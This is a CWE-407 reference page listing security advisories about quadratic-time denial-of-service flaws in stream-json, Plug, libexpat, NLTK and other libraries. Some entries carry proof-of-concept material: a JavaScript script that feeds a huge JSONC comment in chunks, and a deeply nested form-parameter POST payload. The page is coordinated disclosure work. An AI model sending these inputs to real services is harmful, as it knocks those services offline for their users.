Common Weakness Enumeration

CWE-407

Weakness Allowed-with-Review

Inefficient Algorithmic Complexity

Abstraction: Class · Status: Incomplete

An algorithm in a product has an inefficient worst-case computational complexity that may be detrimental to system performance and can be triggered by an attacker, typically using crafted manipulations that ensure that the worst case is being reached.

Mapping guidance

This CWE entry is a Class and might have Base-level children that would be more appropriate

Examine children of this entry to see if there is a better fit

Relationships and members
ChildOf: CWE-405 · View CWE-1000
Modes of introduction
Architecture and Design
Implementation
Detection methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

Content history
Submission: PLOVER · 2006-07-19 · CWE Draft 3
Modification: Eric Dalci · Cigital · 2008-07-01 · CWE 1.0

updated Time_of_Introduction

Modification: CWE Content Team · MITRE · 2008-09-08 · CWE 1.0

updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2009-07-27 · CWE 1.5

updated Functional_Areas, Other_Notes

Modification: CWE Content Team · MITRE · 2009-10-29 · CWE 1.6

updated Common_Consequences

Modification: CWE Content Team · MITRE · 2009-12-28 · CWE 1.7

updated Applicable_Platforms, Likelihood_of_Exploit

Modification: CWE Content Team · MITRE · 2011-06-01 · CWE 1.13

updated Common_Consequences

Modification: CWE Content Team · MITRE · 2012-05-11 · CWE 2.2

updated Observed_Examples, Relationships

Modification: CWE Content Team · MITRE · 2014-07-30 · CWE 2.8

updated Relationships

Modification: CWE Content Team · MITRE · 2015-12-07 · CWE 2.9

updated Relationships

Modification: CWE Content Team · MITRE · 2017-11-08 · CWE 3.0

updated Likelihood_of_Exploit

Modification: CWE Content Team · MITRE · 2019-06-20 · CWE 3.3

updated Name, Relationships, Type

Modification: CWE Content Team · MITRE · 2020-02-24 · CWE 4.0

updated Relationships

Modification: CWE Content Team · MITRE · 2020-08-20 · CWE 4.2

updated Relationships

Modification: CWE Content Team · MITRE · 2021-03-15 · CWE 4.4

updated References, Relationships

Modification: CWE Content Team · MITRE · 2021-07-20 · CWE 4.5

updated References

Modification: CWE Content Team · MITRE · 2022-10-13 · CWE 4.9

updated Alternate_Terms, Observed_Examples, Relationships

Modification: CWE Content Team · MITRE · 2023-01-31 · CWE 4.10

updated Demonstrative_Examples, Observed_Examples, References

Modification: CWE Content Team · MITRE · 2023-04-27 · CWE 4.11

updated Relationships

Modification: CWE Content Team · MITRE · 2023-06-29 · CWE 4.12

updated Mapping_Notes

Modification: CWE Content Team · MITRE · 2025-12-11 · CWE 4.19

updated Weakness_Ordinalities

Modification: CWE Content Team · MITRE · 2026-10-28 · CWE 5.0

updated Detection_Factors, References

704 vulnerabilities reference this CWE, most recent first.

GHSA-HQR4-QQ8F-HG3X

Vulnerability from github – Published: 2026-10-05 22:49 – Updated: 2026-10-05 22:49
VLAI
Summary
stream-json: JSONC parser and verifier re-scan the whole accumulated comment on every input chunk
Details

Summary

The JSONC parser (stream-json/jsonc/parser.js) and verifier (stream-json/jsonc/verifier.js) scan a comment for its terminator starting from the comment's opening / on every input chunk. When a comment doesn't finish inside the current buffer, the scanner returns the comment's start offset and the buffer keeps the whole comment, so the next chunk re-scans everything seen so far. A single comment of length n delivered across many chunks costs O(n²) CPU.

This is the same class as GHSA-528h-pc64-c93x (path filters, medium, CWE-407): an algorithmic-complexity re-scan in a streaming feature. It's a different code path though — the comment scanner in handleComment, which the 3.5.0 depth cap doesn't touch — so upgrading past that advisory doesn't help here. The plain JSON parser is fine: its strings and numbers advance and drop consumed bytes, and only comments retain and re-scan.

Proof of concept

npm i stream-json@3.5.0
import Parser from 'stream-json/jsonc/parser.js';

function feed(N) {
  return new Promise(resolve => {
    const stream = Parser.asStream();            // default options
    stream.on('data', () => {});
    stream.on('error', () => {});
    stream.on('end', resolve);
    const doc = '/*' + 'a'.repeat(N) + '*/1';     // one valid, closed comment
    for (let i = 0; i < doc.length; i += 16384)   // 16 KB pieces, as a socket delivers a body
      stream.write(doc.slice(i, i + 16384));
    stream.end();
  });
}

Timing the pipeline (Node 22, one core, clean install): a 2 MB comment blocks the event loop ~0.9 s, 4 MB ~2.9 s, 8 MB ~13 s — roughly 4x per doubling, so quadratic. Smaller chunks make it worse, and the attacker controls TCP segment size: a fixed 4 MB comment takes ~0.75 s at 64 KB chunks, ~2.8 s at 16 KB, ~11 s at 4 KB. Feeding the same input to the JSONC verifier reproduces it identically.

Impact

Remote, unauthenticated CPU denial of service against any service that runs untrusted input through the JSONC parser or verifier: one request pins a core and stalls the whole event loop.

Caveat

Only the JSONC entry points are affected; an app on the default JSON parser is safe. The comment doesn't need to be malformed - a valid, properly closed comment does it. The payload is a few MB, or less if the client sends small chunks. I've suggested medium and left the CVSS vector to you.


Maintainer note on scope

The attack vector is local — stream-json's documented input is data the user owns (JSONC is configuration you wrote); it is not designed for input from the open internet, and the docs now say so explicitly for JSONC. Comments now mirror chunked strings (startComment / commentChunk / endComment, packed commentValue); the scan resumes across input chunks, so a comment of any length costs linear time, and constant memory without packing.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.5.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "stream-json"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-104182"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-05T22:49:27Z",
    "nvd_published_at": "2026-10-01T21:17:19Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe JSONC parser (`stream-json/jsonc/parser.js`) and verifier (`stream-json/jsonc/verifier.js`) scan a comment for its terminator starting from the comment\u0027s opening `/` on every input chunk. When a comment doesn\u0027t finish inside the current buffer, the scanner returns the comment\u0027s start offset and the buffer keeps the whole comment, so the next chunk re-scans everything seen so far. A single comment of length n delivered across many chunks costs O(n\u00b2) CPU.\n\nThis is the same class as GHSA-528h-pc64-c93x (path filters, medium, CWE-407): an algorithmic-complexity re-scan in a streaming feature. It\u0027s a different code path though \u2014 the comment scanner in `handleComment`, which the 3.5.0 depth cap doesn\u0027t touch \u2014 so upgrading past that advisory doesn\u0027t help here. The plain JSON parser is fine: its strings and numbers advance and drop consumed bytes, and only comments retain and re-scan.\n\n## Proof of concept\n\n```\nnpm i stream-json@3.5.0\n```\n\n```js\nimport Parser from \u0027stream-json/jsonc/parser.js\u0027;\n\nfunction feed(N) {\n  return new Promise(resolve =\u003e {\n    const stream = Parser.asStream();            // default options\n    stream.on(\u0027data\u0027, () =\u003e {});\n    stream.on(\u0027error\u0027, () =\u003e {});\n    stream.on(\u0027end\u0027, resolve);\n    const doc = \u0027/*\u0027 + \u0027a\u0027.repeat(N) + \u0027*/1\u0027;     // one valid, closed comment\n    for (let i = 0; i \u003c doc.length; i += 16384)   // 16 KB pieces, as a socket delivers a body\n      stream.write(doc.slice(i, i + 16384));\n    stream.end();\n  });\n}\n```\n\nTiming the pipeline (Node 22, one core, clean install): a 2 MB comment blocks the event loop ~0.9 s, 4 MB ~2.9 s, 8 MB ~13 s \u2014 roughly 4x per doubling, so quadratic. Smaller chunks make it worse, and the attacker controls TCP segment size: a fixed 4 MB comment takes ~0.75 s at 64 KB chunks, ~2.8 s at 16 KB, ~11 s at 4 KB. Feeding the same input to the JSONC verifier reproduces it identically.\n\n## Impact\n\nRemote, unauthenticated CPU denial of service against any service that runs untrusted input through the JSONC parser or verifier: one request pins a core and stalls the whole event loop.\n\n## Caveat\n\nOnly the JSONC entry points are affected; an app on the default JSON parser is safe. The comment doesn\u0027t need to be malformed - a valid, properly closed comment does it. The payload is a few MB, or less if the client sends small chunks. I\u0027ve suggested medium and left the CVSS vector to you.\n\n---\n\n# Maintainer note on scope\n\nThe attack vector is local \u2014 stream-json\u0027s documented input is data the user owns (JSONC is configuration you wrote); it is not designed for input from the open internet, and the docs now say so explicitly for JSONC. Comments now mirror chunked strings (`startComment` / `commentChunk` / `endComment`, packed `commentValue`); the scan resumes across input chunks, so a comment of any length costs linear time, and constant memory without packing.",
  "id": "GHSA-hqr4-qq8f-hg3x",
  "modified": "2026-10-05T22:49:27Z",
  "published": "2026-10-05T22:49:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/uhop/stream-json/security/advisories/GHSA-hqr4-qq8f-hg3x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-104182"
    },
    {
      "type": "WEB",
      "url": "https://github.com/uhop/stream-json/commit/c0299dc168ce9455ef5ca5b6a0f6850ee7fa0468"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/uhop/stream-json"
    },
    {
      "type": "WEB",
      "url": "https://github.com/uhop/stream-json/releases/tag/3.6.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "stream-json: JSONC parser and verifier re-scan the whole accumulated comment on every input chunk"
}

GHSA-HX4R-W6WJ-J8FG

Vulnerability from github – Published: 2026-10-01 15:17 – Updated: 2026-10-01 15:17
VLAI
Summary
devalue: Residual sparse-array CPU amplification in uneval
Details

uneval performs synchronous work proportional to a sparse array's declared length. An application that passes attacker-influenced sparse values to uneval can suffer event-loop blocking. Since attacker-controlled creation of sparse arrays is so difficult, this vulnerability is very difficult to exploit.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.9.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "devalue"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.9.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-01T15:17:42Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "`uneval` performs synchronous work proportional to a sparse array\u0027s declared length. An application that passes attacker-influenced sparse values to `uneval` can suffer event-loop blocking. Since attacker-controlled creation of sparse arrays is so difficult, this vulnerability is very difficult to exploit.",
  "id": "GHSA-hx4r-w6wj-j8fg",
  "modified": "2026-10-01T15:17:42Z",
  "published": "2026-10-01T15:17:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sveltejs/devalue/security/advisories/GHSA-hx4r-w6wj-j8fg"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sveltejs/devalue/commit/6861dbbb7e548849e48bce718e88747a298f7250"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sveltejs/devalue"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sveltejs/devalue/releases/tag/v5.9.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "devalue: Residual sparse-array CPU amplification in uneval"
}

GHSA-HXRJ-XXG4-W3QP

Vulnerability from github – Published: 2026-09-07 15:33 – Updated: 2026-09-07 15:33
VLAI
Details

league/commonmark versions before 2.9.1 contain multiple denial of service vulnerabilities in fenced code block detection, reference link label lookup, and emphasis delimiter processing that perform super-linear work on crafted input. Attackers can submit specially crafted Markdown with long backtick runs, nested brackets, or delimiter sequences to consume disproportionate CPU time and prevent legitimate requests from completing.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-86430"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-07T13:20:42Z",
    "severity": "HIGH"
  },
  "details": "league/commonmark versions before 2.9.1 contain multiple denial of service vulnerabilities in fenced code block detection, reference link label lookup, and emphasis delimiter processing that perform super-linear work on crafted input. Attackers can submit specially crafted Markdown with long backtick runs, nested brackets, or delimiter sequences to consume disproportionate CPU time and prevent legitimate requests from completing.",
  "id": "GHSA-hxrj-xxg4-w3qp",
  "modified": "2026-09-07T15:33:53Z",
  "published": "2026-09-07T15:33:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/thephpleague/commonmark/security/advisories/GHSA-j8pm-gj4c-rq4x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-86430"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/league-commonmark-before-2.9.1-denial-of-service-via-parsing"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-J3QR-8F3V-FGJJ

Vulnerability from github – Published: 2025-02-10 18:30 – Updated: 2026-06-30 03:35
VLAI
Details

A flaw in libtasn1 causes inefficient handling of specific certificate data. When processing a large number of elements in a certificate, libtasn1 takes much longer than expected, which can slow down or even crash the system. This flaw allows an attacker to send a specially crafted certificate, causing a denial of service attack.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-12133"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-10T16:15:37Z",
    "severity": "MODERATE"
  },
  "details": "A flaw in libtasn1 causes inefficient handling of specific certificate data. When processing a large number of elements in a certificate, libtasn1 takes much longer than expected, which can slow down or even crash the system. This flaw allows an attacker to send a specially crafted certificate, causing a denial of service attack.",
  "id": "GHSA-j3qr-8f3v-fgjj",
  "modified": "2026-06-30T03:35:19Z",
  "published": "2025-02-10T18:30:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12133"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20250523-0003"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/02/msg00025.html"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gnutls/libtasn1/-/issues/52"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gnutls/libtasn1/-/blob/master/doc/security/CVE-2024-12133.md"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-202008.html"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-082556.html"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2344611"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2024-12133"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:33125"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:30850"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:30849"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2025:8385"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2025:8021"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2025:7077"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2025:4049"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2025:17347"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2025/02/06/6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J43X-5HJQ-RGXF

Vulnerability from github – Published: 2026-09-23 14:00 – Updated: 2026-09-23 14:00
VLAI
Summary
Plug: quadratic-time decoding of nested query/body parameters enables denial of service
Details

Summary

Plug's nested-parameter decoder (Plug.Conn.Query) parses URL-encoded keys in time quadratic in their bracket-nesting depth. Any unauthenticated remote attacker that can reach a Plug-based HTTP endpoint can pin a BEAM scheduler for minutes with a single small request.

Details

For a key like a[a][a]...=1, Plug.Conn.Query.split_keys/6 (in lib/plug/conn/query.ex) builds an accumulator of :binary.part prefixes (a, a[a], a[a][a], …) that grow ~3 bytes per level. Plug.Conn.Query.insert_keys/3 then does one Map.put per level keyed on that growing prefix, hashing the full byte range each time, and Plug.Conn.Query.finalize_pointer/2 repeats the prefix-keyed walk to materialize the structure. Total cost is O(N²) in nesting depth.

The same code path handles query strings, application/x-www-form-urlencoded bodies, and multipart field names via Plug.Conn.Query.decode/4 and decode_each/2. The default Plug.Parsers.URLENCODED cap is 1 MB (~333,000 nesting levels), but Plug.Parsers accepts urlencoded payloads up to its overall body limit (20 MB by default), so an attacker can scale the per-request work well beyond the urlencoded-specific cap. The decoder shows ~4× scaling per 2× input (16k levels ≈ 195 ms on a single scheduler).

PoC

  1. POST a[a][a]...[a]=1 as application/x-www-form-urlencoded to any endpoint of a Plug-based app. Even at the 1 MB urlencoded-parser default the payload carries ~333,000 nesting levels; with the broader Plug.Parsers body limit (20 MB default) a single request can carry millions.
  2. Launch one such request per scheduler concurrently. Each pins a scheduler for minutes; legitimate traffic stalls once all schedulers are busy.

Impact

A single low-bandwidth sender can render any internet-reachable Plug-based service (most Phoenix and standalone Elixir/Erlang web stacks) unresponsive. No credentials, specific endpoint, or prior knowledge of the application is required.

References

  • Introduction commit: https://github.com/elixir-plug/plug/commit/712b875d3442c765d8d37e546ffd5ad9f8afcc55
  • Patch commit: https://github.com/elixir-plug/plug/commit/b4aa8a0665ce2726a6d5af44467fb4f59595b107
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Hex",
        "name": "plug"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.15.0"
            },
            {
              "fixed": "1.15.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Hex",
        "name": "plug"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.16.0"
            },
            {
              "fixed": "1.16.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Hex",
        "name": "plug"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.17.0"
            },
            {
              "fixed": "1.17.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Hex",
        "name": "plug"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.18.0"
            },
            {
              "fixed": "1.18.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Hex",
        "name": "plug"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.19.0"
            },
            {
              "fixed": "1.19.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54892"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-23T14:00:22Z",
    "nvd_published_at": "2026-06-23T13:16:43Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nPlug\u0027s nested-parameter decoder (`Plug.Conn.Query`) parses URL-encoded keys in time quadratic in their bracket-nesting depth. Any unauthenticated remote attacker that can reach a Plug-based HTTP endpoint can pin a BEAM scheduler for minutes with a single small request.\n\n### Details\n\nFor a key like `a[a][a]...=1`, `Plug.Conn.Query.split_keys/6` (in `lib/plug/conn/query.ex`) builds an accumulator of `:binary.part` prefixes (`a`, `a[a]`, `a[a][a]`, \u2026) that grow ~3 bytes per level. `Plug.Conn.Query.insert_keys/3` then does one `Map.put` per level keyed on that growing prefix, hashing the full byte range each time, and `Plug.Conn.Query.finalize_pointer/2` repeats the prefix-keyed walk to materialize the structure. Total cost is `O(N\u00b2)` in nesting depth.\n\nThe same code path handles query strings, `application/x-www-form-urlencoded` bodies, and multipart field names via `Plug.Conn.Query.decode/4` and `decode_each/2`. The default `Plug.Parsers.URLENCODED` cap is 1 MB (~333,000 nesting levels), but `Plug.Parsers` accepts urlencoded payloads up to its overall body limit (20 MB by default), so an attacker can scale the per-request work well beyond the urlencoded-specific cap. The decoder shows ~4\u00d7 scaling per 2\u00d7 input (16k levels \u2248 195 ms on a single scheduler).\n\n### PoC\n\n1. POST `a[a][a]...[a]=1` as `application/x-www-form-urlencoded` to any endpoint of a Plug-based app. Even at the 1 MB urlencoded-parser default the payload carries ~333,000 nesting levels; with the broader `Plug.Parsers` body limit (20 MB default) a single request can carry millions.\n2. Launch one such request per scheduler concurrently. Each pins a scheduler for minutes; legitimate traffic stalls once all schedulers are busy.\n\n### Impact\n\nA single low-bandwidth sender can render any internet-reachable Plug-based service (most Phoenix and standalone Elixir/Erlang web stacks) unresponsive. No credentials, specific endpoint, or prior knowledge of the application is required.\n\n### References\n\n* Introduction commit: https://github.com/elixir-plug/plug/commit/712b875d3442c765d8d37e546ffd5ad9f8afcc55\n* Patch commit: https://github.com/elixir-plug/plug/commit/b4aa8a0665ce2726a6d5af44467fb4f59595b107",
  "id": "GHSA-j43x-5hjq-rgxf",
  "modified": "2026-09-23T14:00:22Z",
  "published": "2026-09-23T14:00:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/elixir-plug/plug/security/advisories/GHSA-j43x-5hjq-rgxf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54892"
    },
    {
      "type": "WEB",
      "url": "https://github.com/elixir-plug/plug/commit/9c5d37c440eaae92869eed7c014c47266744fadb"
    },
    {
      "type": "WEB",
      "url": "https://github.com/elixir-plug/plug/commit/a61124aa625d819a218fb07f90afbac8aa85eb0e"
    },
    {
      "type": "WEB",
      "url": "https://github.com/elixir-plug/plug/commit/c317d08fdcf96e17931f7419275b2b8c4bf3e951"
    },
    {
      "type": "WEB",
      "url": "https://github.com/elixir-plug/plug/commit/d4e5568392a4b29e545b91e12e87d6098f976145"
    },
    {
      "type": "WEB",
      "url": "https://github.com/elixir-plug/plug/commit/d737eb236f17e31a36290e39f9ef3cd86a1343bd"
    },
    {
      "type": "WEB",
      "url": "https://cna.erlef.org/cves/CVE-2026-54892.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/elixir-plug/plug"
    },
    {
      "type": "WEB",
      "url": "https://github.com/elixir-plug/plug/blob/v1.19.3/CHANGELOG.md#v1193-2026-06-23"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/EEF-CVE-2026-54892"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": " Plug: quadratic-time decoding of nested query/body parameters enables denial of service"
}

GHSA-J54Q-VP49-JM64

Vulnerability from github – Published: 2026-12-02 03:31 – Updated: 2026-12-02 03:31
VLAI
Details

libexpat through 2.11.0 contains a denial of service vulnerability in storeAtts() in lib/xmlparse.c that scans valueless default attribute declarations for every start tag. Attackers can supply XML with an internal DTD declaring many #IMPLIED attributes for one element followed by many start tags, causing quadratic CPU consumption.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-141595"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-12-02T02:17:42Z",
    "severity": "HIGH"
  },
  "details": "libexpat through 2.11.0 contains a denial of service vulnerability in storeAtts() in lib/xmlparse.c that scans valueless default attribute declarations for every start tag. Attackers can supply XML with an internal DTD declaring many #IMPLIED attributes for one element followed by many start tags, causing quadratic CPU consumption.",
  "id": "GHSA-j54q-vp49-jm64",
  "modified": "2026-12-02T03:31:30Z",
  "published": "2026-12-02T03:31:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-141595"
    },
    {
      "type": "WEB",
      "url": "https://github.com/libexpat/libexpat/pull/1535"
    },
    {
      "type": "WEB",
      "url": "https://github.com/libexpat/libexpat/blob/R_2_11_0/expat/lib/xmlparse.c#L4510-L4513"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/libexpat-through-2.11.0-denial-of-service-via-storeatts-default-attributes"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-J8G8-J4J7-8J54

Vulnerability from github – Published: 2026-11-19 23:54 – Updated: 2026-11-19 23:54
VLAI
Summary
NLTK: XMLCorpusView comment and CDATA parsing permits quadratic CPU denial of service
Details

affected: PyPI nltk >= 3.6 — nltk.corpus.reader.xmldocs.XMLCorpusView streaming read (and the nps_chat / framenet readers built on it) dynamically reproduced: 3.6 (6/6 checks), 3.9.2 (6/6), 3.10.3 (6/6) and develop 6818767b9 (6/6)


Source references (nltk/corpus/reader/xmldocs.py:NNN) are to commit 6818767b99c24659107eb2be9bccd32a3d4bf045 (develop, v3.10.3-15-g6818767b9). The released v3.10.3 wheel's xmldocs.py is byte-identical to that commit, so the same line numbers apply to the released wheel.

Summary

An attacker who can make a victim read a well-formed XML corpus file whose body contains one large comment or CDATA section can pin a CPU core for a time quadratic in the file size, because XMLCorpusView._read_xml_fragment (nltk/corpus/reader/xmldocs.py) re-runs a linear whole-buffer validation after every 1 KiB block while the comment/CDATA terminator is still ahead. XMLCorpusView is NLTK's documented streaming API for XML corpora and is instantiated directly by the NPSChatCorpusReader and FramenetCorpusReader readers; the module header (xmldocs.py:16-20) explicitly handles untrusted corpus XML. The in_tag guard added to this function for GHSA-vp2x covers only a single oversized <...> tag and leaves the CDATA/comment path quadratic in the current release.

Details

Root cause: _read_xml_fragment (xmldocs.py:273-338) accumulates the file into one fragment string in _BLOCK_SIZE (1024) character chunks (xmldocs.py:123, 298-299). After every block that is not yet a well-formed prefix, the fragment is re-validated against _VALID_XML_RE. Two whole-buffer operations dominate:

# xmldocs.py:308
if not in_tag and self._VALID_XML_RE.match(fragment):      # whole-buffer match (O(len))
    return fragment
# xmldocs.py:312
if re.search("[<>]", fragment).group(0) == ">":            # O(1) for this input class:
    ...                                                     # the document starts with '<'
# xmldocs.py:329
if self._VALID_XML_RE.match(fragment[:last_open_bracket]): # whole-buffer prefix match (O(len))
    ...

For this input class the re.search probe at xmldocs.py:312 is O(1): the fragment always starts with < (e.g. <root>…), so the first </> character is at offset 0 and it never contributes cost. The quadratic cost comes entirely from the two whole-buffer regex matches at xmldocs.py:308 and xmldocs.py:329 (the latter scans the buffer up to the most recent <, which for this input sits near the end of the buffer).

_VALID_XML_RE (xmldocs.py:238-249) is a linear regex (its tempered-dot comment/CDATA bodies (?:(?!-->).)* / (?:(?!\]\]>).)* scan left-to-right in O(length) — confirmed by the embedded script's single-match check), but for a fragment whose terminator is far ahead the match itself fails after scanning the whole buffer. With an unclosed-across-blocks CDATA or comment, every one of the n/1024 blocks pays O(current buffer length) on lines 308 and 329, for a total of ~O(n²) character operations.

The in_tag guard added for GHSA-vp2x (xmldocs.py:283-305) tracks only bare </> characters: it is True inside an unclosed <...> tag and, in that state, skips only the line-308 match. It never represents "the fragment sits inside an unclosed CDATA or comment" — XML allows arbitrary </> inside those constructs — so both the line-308 match and the line-329 backtrack match still fire on every block for a CDATA/comment fragment. The comment block at xmldocs.py:283-289 even documents the intended linearity contract ("re-running it on every 1 KiB block otherwise makes a single oversized tag O(n^2) (CWE-407)"); the guard implements it for the tag branch only.

The single-match cost is linear, not super-linear: the embedded script measures _VALID_XML_RE.match() on 512 KiB → 1 MiB → 2 MiB unclosed-CDATA buffers and gets ≈ 0.074 s → 0.142 s → 0.280 s (≈ 1:1.9:3.8, i.e. linear), asserting the 4× ratio stays well below the quadratic bound. The quadratic total therefore comes from re-running those linear matches per block — the exact CWE-407 pattern the in-tag guard was introduced to eliminate.

Version nuance (all dynamically verified):

  • 3.10.3 / develop (guard present): the pinned regex validates CDATA correctly, so both the comment and the CDATA attack documents read successfully and return; both scale super-linearly (t(4n)/t(n) ≈ 13-16; linear would be ≈ 4). The oversized single-tag control reads linearly (ratio ≈ 4.0), proving the quadratic cost is specific to the unguarded CDATA/comment path.
